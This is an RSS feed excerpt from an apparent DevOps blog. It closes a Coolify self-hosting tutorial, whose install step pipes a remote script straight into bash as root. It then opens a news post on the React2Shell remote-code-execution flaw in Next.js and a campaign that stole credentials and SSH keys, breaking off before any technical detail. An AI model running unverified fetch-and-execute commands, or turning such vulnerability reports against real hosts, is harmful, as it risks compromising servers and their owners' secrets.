<p>The tradeoff is clear: managed platforms save you ops time, Coolify saves you money and gives you full control. If you are comfortable with basic server administration, the savings add up fast.</p>
<p>Where managed platforms still win:</p>
<ul>
<li><strong>Edge functions and CDN</strong> - Vercel&#39;s edge network is hard to beat for global latency</li>
<li><strong>Zero ops</strong> - You never SSH into anything</li>
<li><strong>Scale to zero</strong> - Serverless functions cost nothing when idle</li>
</ul>
<p>Where Coolify wins:</p>
<ul>
<li><strong>Predictable pricing</strong> - A $24 droplet is $24 whether you have 1 or 10 apps</li>
<li><strong>No vendor lock-in</strong> - Standard Docker containers, move anywhere</li>
<li><strong>Full control</strong> - Custom Nginx configs, cron jobs, background workers, anything</li>
<li><strong>Data sovereignty</strong> - Your database runs on your server, not someone else&#39;s</li>
</ul>
<h2 id="h2-setting-up-a-digitalocean-droplet" class="group relative scroll-mt-24">
        <a href="#h2-setting-up-a-digitalocean-droplet" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Setting Up a DigitalOcean Droplet
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-setting-up-a-digitalocean-droplet"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Start by creating a droplet. You need at least 2 vCPUs and 4GB RAM for Coolify plus a couple of apps.</p>
<ol>
<li>Log into <a href="https://m.do.co/c/2a9bba940f39">DigitalOcean</a></li>
<li>Create a new Droplet:<ul>
<li><strong>Image:</strong> Ubuntu 24.04 LTS</li>
<li><strong>Size:</strong> Regular, 4GB / 2 vCPU ($24/month) - or 8GB / 4 vCPU ($48/month) if you plan to run databases</li>
<li><strong>Region:</strong> Closest to your users</li>
<li><strong>Authentication:</strong> SSH key (do not use password auth)</li>
</ul>
</li>
<li>Note the droplet&#39;s IP address</li>
</ol>
<h3 id="h3-point-your-domain" class="group relative scroll-mt-24">
        <a href="#h3-point-your-domain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Point Your Domain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-point-your-domain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Before installing Coolify, point your domain to the droplet. You need two DNS records:</p>
<pre><code class="hljs language-text">A    @           → your-droplet-ip
A    *.coolify   → your-droplet-ip
</code></pre><p>The wildcard record lets Coolify automatically assign subdomains to your apps (e.g., <code>app1.coolify.yourdomain.com</code>). You can also use custom domains for each app later.</p>
<h2 id="h2-installing-coolify" class="group relative scroll-mt-24">
        <a href="#h2-installing-coolify" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Installing Coolify
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-installing-coolify"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>SSH into your droplet and run the Coolify installer:</p>
<pre><code class="hljs language-bash">ssh root@your-droplet-ip
</code></pre><p>Then run the one-line installer:</p>
<pre><code class="hljs language-bash">curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash
</code></pre><p>This installs Docker, Docker Compose, and Coolify. The process takes 2-3 minutes.</p>
<p>When it finishes, you will see output like this:</p>
<pre><code class="hljs language-text">Congratulations! Coolify has been installed successfully! 🎉
Please visit http://your-droplet-ip:8000 to get started.
</code></pre><p>Open <code>http://your-droplet-ip:8000</code> in your browser and create your admin account. This is a one-time setup - the first user to register becomes the admin.</p>
<h3 id="h3-initial-configuration" class="group relative scroll-mt-24">
        <a href="#h3-initial-configuration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Initial Configuration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-initial-configuration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After logging in:</p>
<ol>
<li>Go to <strong>Settings</strong> and set your instance&#39;s domain (e.g., <code>coolify.yourdomain.com</code>)</li>
<li>Enable HTTPS - Coolify will provision an SSL certificate for its own dashboard</li>
<li>Under <strong>Servers</strong>, verify your localhost server shows as connected</li>
</ol>
<p>From this point, the dashboard is accessible at <code>https://coolify.yourdomain.com</code>.</p>
<h2 id="h2-deploying-a-nextjs-app" class="group relative scroll-mt-24">
        <a href="#h2-deploying-a-nextjs-app" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Deploying a Next.js App
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-deploying-a-nextjs-app"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Let&#39;s deploy a Next.js application from GitHub.</p>
<h3 id="h3-1-connect-github" class="group relative scroll-mt-24">
        <a href="#h3-1-connect-github" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Connect GitHub
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-connect-github"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Go to <strong>Sources</strong> &gt; <strong>Add Source</strong> &gt; <strong>GitHub</strong>. You can either:</p>
<ul>
<li><strong>GitHub App</strong> (recommended) - Create a GitHub App for fine-grained permissions</li>
<li><strong>Deploy Key</strong> - Add a read-only SSH key to your repository</li>
</ul>
<p>The GitHub App method is better because it enables webhook-based auto-deploy.</p>
<h3 id="h3-2-create-the-app" class="group relative scroll-mt-24">
        <a href="#h3-2-create-the-app" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Create the App
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-create-the-app"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Go to <strong>Projects</strong> &gt; <strong>Add New Resource</strong> &gt; <strong>Public Repository</strong> (or Private if you connected GitHub).</p>
<p>Configure:</p>
<ul>
<li><strong>Repository:</strong> <code>https://github.com/your-username/your-nextjs-app</code></li>
<li><strong>Branch:</strong> <code>main</code></li>
<li><strong>Build Pack:</strong> Nixpacks (auto-detects Next.js)</li>
<li><strong>Port:</strong> <code>3000</code></li>
</ul>
<p>Coolify uses <strong>Nixpacks</strong> by default, which auto-detects your framework and generates a Docker image. For Next.js, it handles <code>npm install</code>, <code>npm run build</code>, and <code>npm start</code> automatically. No Dockerfile needed.</p>
<h3 id="h3-3-set-environment-variables" class="group relative scroll-mt-24">
        <a href="#h3-3-set-environment-variables" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Set Environment Variables
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-set-environment-variables"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Under your app&#39;s settings, add your environment variables:</p>
<pre><code class="hljs language-text">DATABASE_URL=postgresql://user:pass@your-db:5432/myapp
NEXTAUTH_SECRET=your-random-secret
NEXTAUTH_URL=https://myapp.yourdomain.com
</code></pre><h3 id="h3-4-configure-the-domain" class="group relative scroll-mt-24">
        <a href="#h3-4-configure-the-domain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Configure the Domain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-configure-the-domain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Under <strong>Settings</strong> &gt; <strong>Domains</strong>, add your custom domain:</p>
<pre><code class="hljs language-text">myapp.yourdomain.com
</code></pre><p>Coolify automatically provisions an SSL certificate via Let&#39;s Encrypt and configures the Traefik reverse proxy.</p>
<h3 id="h3-5-deploy" class="group relative scroll-mt-24">
        <a href="#h3-5-deploy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Deploy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-deploy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Click <strong>Deploy</strong> or push to your <code>main</code> branch. Coolify builds the Docker image, runs your app, and routes traffic to it. First deploy takes a few minutes. Subsequent deploys are faster thanks to Docker layer caching.</p>
<h2 id="h2-adding-a-database" class="group relative scroll-mt-24">
        <a href="#h2-adding-a-database" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Adding a Database
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-adding-a-database"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>One of Coolify&#39;s strengths is one-click database provisioning.</p>
<p>Go to <strong>Projects</strong> &gt; <strong>Add New Resource</strong> &gt; <strong>Database</strong>. Pick your engine:</p>
<ul>
<li>PostgreSQL</li>
<li>MySQL / MariaDB</li>
<li>MongoDB</li>
<li>Redis</li>
<li>And more</li>
</ul>
<p>For PostgreSQL:</p>
<ol>
<li>Select <strong>PostgreSQL</strong></li>
<li>Set a database name, user, and password</li>
<li>Click <strong>Start</strong></li>
</ol>
<p>Coolify creates a Docker container running PostgreSQL and gives you the connection string. Use it in your app&#39;s <code>DATABASE_URL</code>:</p>
<pre><code class="hljs language-text">postgresql://user:password@your-server-ip:5432/dbname
</code></pre><p>Since both your app and database run on the same server, there is zero network latency between them. For internal connections, use the Docker network hostname instead of the IP:</p>
<pre><code class="hljs language-text">postgresql://user:password@postgres-container:5432/dbname
</code></pre><h3 id="h3-backups" class="group relative scroll-mt-24">
        <a href="#h3-backups" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Backups
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-backups"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Go to your database&#39;s <strong>Backups</strong> tab. Configure:</p>
<ul>
<li><strong>Schedule:</strong> Daily at 3 AM (cron: <code>0 3 * * *</code>)</li>
<li><strong>Storage:</strong> Local or S3-compatible (DigitalOcean Spaces, AWS S3, MinIO)</li>
<li><strong>Retention:</strong> Keep last 7 backups</li>
</ul>
<p>This runs <code>pg_dump</code> on schedule and stores the output. You get automated database backups without any extra tooling.</p>
<h2 id="h2-managing-multiple-apps" class="group relative scroll-mt-24">
        <a href="#h2-managing-multiple-apps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Managing Multiple Apps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-managing-multiple-apps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The real power of Coolify shows when you run multiple applications. Each app gets:</p>
<ul>
<li>Its own Docker container</li>
<li>Its own domain and SSL certificate</li>
<li>Independent environment variables</li>
<li>Separate deployment history and logs</li>
</ul>
<p>A typical setup might look like this:</p>
<pre><code class="hljs language-text">┌─────────────────────────────────────────────┐
│              DigitalOcean Droplet            │
│                                             │
│  ┌─────────┐  ┌─────────┐  ┌─────────┐     │
│  │ Next.js │  │  API    │  │  Blog   │     │
│  │  App    │  │ Server  │  │  (Hugo) │     │
│  │ :3000   │  │ :8080   │  │ :1313   │     │
│  └────┬────┘  └────┬────┘  └────┬────┘     │
│       │            │            │           │
│  ┌────┴────────────┴────────────┴────┐      │
│  │         Traefik (Reverse Proxy)    │      │
│  │    SSL termination + routing       │      │
│  └────────────────┬──────────────────┘      │
│                   │                         │
│  ┌────────────────┴──────────────────┐      │
│  │          PostgreSQL + Redis        │      │
│  └───────────────────────────────────┘      │
└─────────────────────────────────────────────┘
</code></pre><p>Traefik handles all routing based on domain names. Each request hits port 443, Traefik checks the <code>Host</code> header, and forwards it to the right container. You configure this through Coolify&#39;s dashboard - no Nginx configs to edit.</p>
<h2 id="h2-auto-deploy-on-push" class="group relative scroll-mt-24">
        <a href="#h2-auto-deploy-on-push" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Auto-Deploy on Push
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-auto-deploy-on-push"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you connected GitHub via the GitHub App method, Coolify sets up webhooks automatically. Every push to your configured branch triggers a new deployment.</p>
<p>The deploy flow:</p>
<ol>
<li>You push to <code>main</code></li>
<li>GitHub sends a webhook to Coolify</li>
<li>Coolify pulls the latest code</li>
<li>Nixpacks builds a new Docker image</li>
<li>Coolify performs a rolling update (zero downtime)</li>
<li>Old container is removed after the new one is healthy</li>
</ol>
<p>You can also configure:</p>
<ul>
<li><strong>Preview deployments</strong> for pull requests</li>
<li><strong>Manual deploy only</strong> for production branches</li>
<li><strong>Deploy from specific branches</strong> per environment</li>
</ul>
<h2 id="h2-resource-requirements" class="group relative scroll-mt-24">
        <a href="#h2-resource-requirements" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Resource Requirements
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-resource-requirements"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here is what different setups need:</p>
<table>
<thead>
<tr>
<th>Setup</th>
<th>RAM</th>
<th>CPU</th>
<th>Monthly Cost</th>
</tr>
</thead>
<tbody><tr>
<td>Coolify + 1 small app</td>
<td>2GB</td>
<td>1 vCPU</td>
<td>$12</td>
</tr>
<tr>
<td>Coolify + 2-3 apps + PostgreSQL</td>
<td>4GB</td>
<td>2 vCPU</td>
<td>$24</td>
</tr>
<tr>
<td>Coolify + 5+ apps + databases + Redis</td>
<td>8GB</td>
<td>4 vCPU</td>
<td>$48</td>
</tr>
<tr>
<td>Heavy workloads (10+ apps)</td>
<td>16GB</td>
<td>8 vCPU</td>
<td>$96</td>
</tr>
</tbody></table>
<p>Coolify itself uses about 500MB-1GB of RAM. Each Next.js app uses 100-300MB depending on traffic. PostgreSQL adds another 200-500MB.</p>
<p>For most indie developers and small teams, the <strong>4GB droplet at $24/month</strong> handles everything comfortably.</p>
<h2 id="h2-when-to-use-coolify-vs-managed-platforms" class="group relative scroll-mt-24">
        <a href="#h2-when-to-use-coolify-vs-managed-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When to Use Coolify vs Managed Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-when-to-use-coolify-vs-managed-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Use Coolify when:</strong></p>
<ul>
<li>You run multiple apps and the per-app pricing of managed platforms adds up</li>
<li>You need databases without paying for managed database services</li>
<li>You want full control over your infrastructure</li>
<li>Data sovereignty matters (GDPR, regulatory requirements)</li>
<li>You are comfortable with basic Linux administration</li>
<li>Your apps do not need edge/CDN capabilities</li>
</ul>
<p><strong>Use Vercel/Netlify when:</strong></p>
<ul>
<li>You need global edge functions and CDN</li>
<li>You want absolute zero ops overhead</li>
<li>Your team does not have anyone comfortable with server management</li>
<li>You are on a free/hobby tier and do not need to scale yet</li>
</ul>
<p><strong>Use Railway when:</strong></p>
<ul>
<li>You want something between fully managed and self-hosted</li>
<li>You need the simplicity of managed platforms but with better pricing</li>
</ul>
<h2 id="h2-useful-coolify-features" class="group relative scroll-mt-24">
        <a href="#h2-useful-coolify-features" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Useful Coolify Features
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-useful-coolify-features"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few features worth knowing about:</p>
<ul>
<li><strong>Docker Compose support</strong> - Deploy multi-container apps using your existing <code>docker-compose.yml</code></li>
<li><strong>Dockerfile support</strong> - Bring your own Dockerfile if Nixpacks does not cover your use case</li>
<li><strong>Cron jobs</strong> - Schedule tasks directly from the dashboard</li>
<li><strong>Persistent storage</strong> - Mount volumes for file uploads, SQLite databases, etc.</li>
<li><strong>Monitoring</strong> - Basic CPU, memory, and disk usage per container</li>
<li><strong>Notifications</strong> - Get deploy notifications via Discord, Slack, email, or Telegram</li>
<li><strong>Teams</strong> - Add team members with different permission levels (no per-seat cost)</li>
<li><strong>S3 backups</strong> - Automated backups to DigitalOcean Spaces or any S3-compatible storage</li>
</ul>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Coolify gives you the Vercel experience on your own server</strong> - auto-deploy, SSL, domains, databases, all from a web dashboard.</li>
<li><strong>The cost savings are significant</strong> - $24/month for a droplet that can run everything vs $100+ across multiple managed services.</li>
<li><strong>Setup takes 10 minutes</strong> - one command to install, then configure through the browser.</li>
<li><strong>No vendor lock-in</strong> - your apps run as standard Docker containers that work anywhere.</li>
<li><strong>The tradeoff is real</strong> - you are responsible for server updates, security patches, and monitoring. If you are not comfortable with that, managed platforms are worth the premium.</li>
<li><strong>Start with a <a href="https://m.do.co/c/2a9bba940f39">4GB DigitalOcean droplet</a></strong> - it handles Coolify plus several apps and databases comfortably.</li>
</ol>
<p>Coolify is not a replacement for every use case, but for indie developers and small teams running multiple projects, it cuts your infrastructure bill while keeping the deployment experience you are used to.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[CVE-2025-55182 React2Shell: 766 Next.js Hosts Breached in 24 Hours]]></title>
      <link>https://devops-daily.com/posts/react2shell-cve-2025-55182-nextjs-breach</link>
      <description><![CDATA[A CVSS 10.0 RCE in React Server Components let attackers breach 766 Next.js hosts in a single day, stealing database credentials, SSH keys, and cloud secrets. Here is how it works, who is affected, and what to do right now.]]></description>
      <pubDate>Fri, 03 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/react2shell-cve-2025-55182-nextjs-breach</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[nextjs]]></category><category><![CDATA[react]]></category><category><![CDATA[devops]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[nodejs]]></category>
      <content:encoded><![CDATA[<p>If you run Next.js in production, stop what you are doing and check your version. CVE-2025-55182, nicknamed React2Shell, is a CVSS 10.0 remote code execution vulnerability in React Server Components. A single unauthenticated HTTP POST request gives an attacker a shell on your server. No special configuration needed. A default <code>create-next-app</code> project built for production is exploitable out of the box.</p>
<p>A threat group tracked as UAT-10608 automated the whole thing and breached 766 Next.js hosts within 24 hours. They stole database credentials from 91.5% of those hosts and SSH keys from 78.2%. This is not theoretical. It happened.</p>
<p>Here is what you need to know and what to do about it.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
